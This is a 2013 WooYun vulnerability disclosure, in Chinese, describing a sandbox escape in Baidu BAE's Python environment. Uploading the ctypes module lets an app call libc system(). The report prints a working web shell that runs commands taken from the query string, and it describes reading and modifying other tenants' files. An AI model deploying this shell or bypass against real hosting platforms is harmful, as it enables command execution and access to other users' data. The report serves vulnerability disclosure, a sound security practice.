当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-020955

漏洞标题:百度BAE系列2:系统命令执行,/etc/passwd及读写其它用户文件等

相关厂商:百度

漏洞作者: blue

提交时间:2013-03-30 11:51

修复时间:2013-05-14 11:52

公开时间:2013-05-14 11:52

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-03-30: 细节已通知厂商并且等待厂商处理中
2013-03-31: 厂商已经确认,细节仅向厂商公开
2013-04-10: 细节向核心白帽子及相关领域专家公开
2013-04-20: 细节向普通白帽子公开
2013-04-30: 细节向实习白帽子公开
2013-05-14: 细节向公众公开

简要描述:

百度BAE环境对重要函数的限制方法不当,可突破执行系统命令,能读写服务器上存在的众多其它用户的程序文件。

详细说明:

问题存在于BAE的python环境中,对模块和函数的限制不当,比如上传ctypes模块(环境默认不存在此模块)可加载so扩展执行系统命令。先上shell(当然要有一个BAE的python应用,index.py):

#-*- coding:utf-8 -*-
import os
import ctypes #在自己本地的python2.7环境里找到的ctypes文件夹
def app(environ, start_response):
status = '200 OK'
headers = [('Content-type', 'text/html')]
start_response(status, headers)
cmd=environ['QUERY_STRING']
cmd=cmd.replace('%20',' ').replace('%3E','>').replace('%3C','<').replace('%27',"'").replace('%22','"')
l=ctypes.cdll.LoadLibrary('/lib64/libc.so.6')
l.system(cmd+" > /home/bae/instanceall/instance1/codefs/0.***.duapp.com/111.txt") #***是应用名
content=''
for line in open("/home/bae/instanceall/instance1/codefs/0.***.duapp.com/111.txt"):
content=content+line+"\n"
return content
from bae.core.wsgi import WSGIApplication
application = WSGIApplication(app)

当然,这是最后的分析结果,历程如下:
1.dir查看os,subprocess等模块,能执行命令的方法都被阉割了,import commands模块直接就是No module named commands。
2.上传自己本地的commands.py,能够import,不过执行系统命令不成功,是基于os模块的。虽然不成功,但打开了思路,只要上传相应的文件就能使用缺失的模块了。
3.执行so扩展会怎么样呐?ctypes模块不存在,果断上传自己本地的ctypes文件夹,成功import并能cdll。编译了一个so扩展上传,执行无结果并中断了程序,目测可能是编译环境和BAE的不一样。
4.BAE服务器上的so扩展怎么样呐?加载/lib64/libc.so.6,执行system成功,于是便有了上面的shell。
5.ls /home/bae/instanceall/instance1/codefs可看到其它用户的应用列表。尝试读取文件内容无压力,修改也无压力(测试修改了自己另外一php应用的文件,成功)。

漏洞证明:

上截图。

1.png


2.png


4.png


5.png


6.png


7.jpg

修复方案:

禁用加载so扩展,不知是否可以采用更底层的限制方式?python的很多模块都是用python语言自身写的,从python层面限制module或函数等很容易通过上传相关文件的方式突破,望分享解决方案。

版权声明:转载请注明来源 blue@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2013-03-31 16:08

厂商回复:

感谢提交,已安排处理,后续修复方案相关将会及时同步至乌云!

最新状态:

暂无